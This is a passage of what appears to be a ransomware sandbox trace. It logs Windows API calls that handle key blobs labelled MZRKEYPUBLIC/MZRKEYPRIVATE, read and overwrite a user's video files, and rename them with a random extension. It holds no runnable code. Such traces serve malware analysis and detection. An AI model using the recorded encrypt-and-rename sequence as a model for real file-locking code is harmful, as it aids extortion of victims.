dirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0086.773] GetCurrentThreadId () returned 0xa30 [0086.773] GetCurrentThreadId () returned 0xa30 [0086.773] GetCurrentThreadId () returned 0xa30 [0086.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.774] GetCurrentThreadId () returned 0xa30 [0086.774] GetCurrentThreadId () returned 0xa30 [0086.774] GetCurrentThreadId () returned 0xa30 [0086.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n7T_pRq.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n7t_prq.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0086.774] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0086.774] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0086.775] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa497 [0086.775] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0086.775] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0xa497, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0xa497, lpOverlapped=0x0) returned 1 [0086.777] CloseHandle (hObject=0x124) returned 1 [0086.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n7T_pRq.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n7t_prq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0086.781] WriteFile (in: hFile=0x124, lpBuffer=0x1efc040*, nNumberOfBytesToWrite=0xa497, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efc040*, lpNumberOfBytesWritten=0x18f978*=0xa497, lpOverlapped=0x0) returned 1 [0086.784] CloseHandle (hObject=0x124) returned 1 [0086.786] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n7T_pRq.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n7t_prq.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n7T_pRq.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n7t_prq.flv.zv7un")) returned 1 [0086.787] GetCurrentThreadId () returned 0xa30 [0086.787] GetCurrentThreadId () returned 0xa30 [0086.787] GetCurrentThreadId () returned 0xa30 [0086.787] GetCurrentThreadId () returned 0xa30 [0086.787] GetCurrentThreadId () returned 0xa30 [0086.787] GetCurrentThreadId () returned 0xa30 [0086.787] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61623870, ftCreationTime.dwHighDateTime=0x1d5e09a, ftLastAccessTime.dwLowDateTime=0x8f5230, ftLastAccessTime.dwHighDateTime=0x1d5de6a, ftLastWriteTime.dwLowDateTime=0x8f5230, ftLastWriteTime.dwHighDateTime=0x1d5de6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="nNUix", cAlternateFileName="")) returned 1 [0086.787] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fa5870, ftCreationTime.dwHighDateTime=0x1d5d9a1, ftLastAccessTime.dwLowDateTime=0xc8f2e1c0, ftLastAccessTime.dwHighDateTime=0x1d5dbb2, ftLastWriteTime.dwLowDateTime=0xc8f2e1c0, ftLastWriteTime.dwHighDateTime=0x1d5dbb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="QsERwYTXRV", cAlternateFileName="QSERWY~1")) returned 1 [0086.787] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16aa7fe0, ftCreationTime.dwHighDateTime=0x1d5d87a, ftLastAccessTime.dwLowDateTime=0x8bff4bb0, ftLastAccessTime.dwHighDateTime=0x1d5e29b, ftLastWriteTime.dwLowDateTime=0x8bff4bb0, ftLastWriteTime.dwHighDateTime=0x1d5e29b, nFileSizeHigh=0x0, nFileSizeLow=0x16986, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="RV4UFRM8.flv", cAlternateFileName="")) returned 1 [0086.787] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.787] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RV4UFRM8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rv4ufrm8.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16aa7fe0, ftCreationTime.dwHighDateTime=0x1d5d87a, ftLastAccessTime.dwLowDateTime=0x8bff4bb0, ftLastAccessTime.dwHighDateTime=0x1d5e29b, ftLastWriteTime.dwLowDateTime=0x8bff4bb0, ftLastWriteTime.dwHighDateTime=0x1d5e29b, nFileSizeHigh=0x0, nFileSizeLow=0x16986)) returned 1 [0086.787] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RV4UFRM8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rv4ufrm8.flv")) returned 0x20 [0086.787] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RV4UFRM8.flv", dwFileAttributes=0x80) returned 1 [0086.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.792] GetCurrentThreadId () returned 0xa30 [0086.792] GetCurrentThreadId () returned 0xa30 [0086.792] GetCurrentThreadId () returned 0xa30 [0086.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 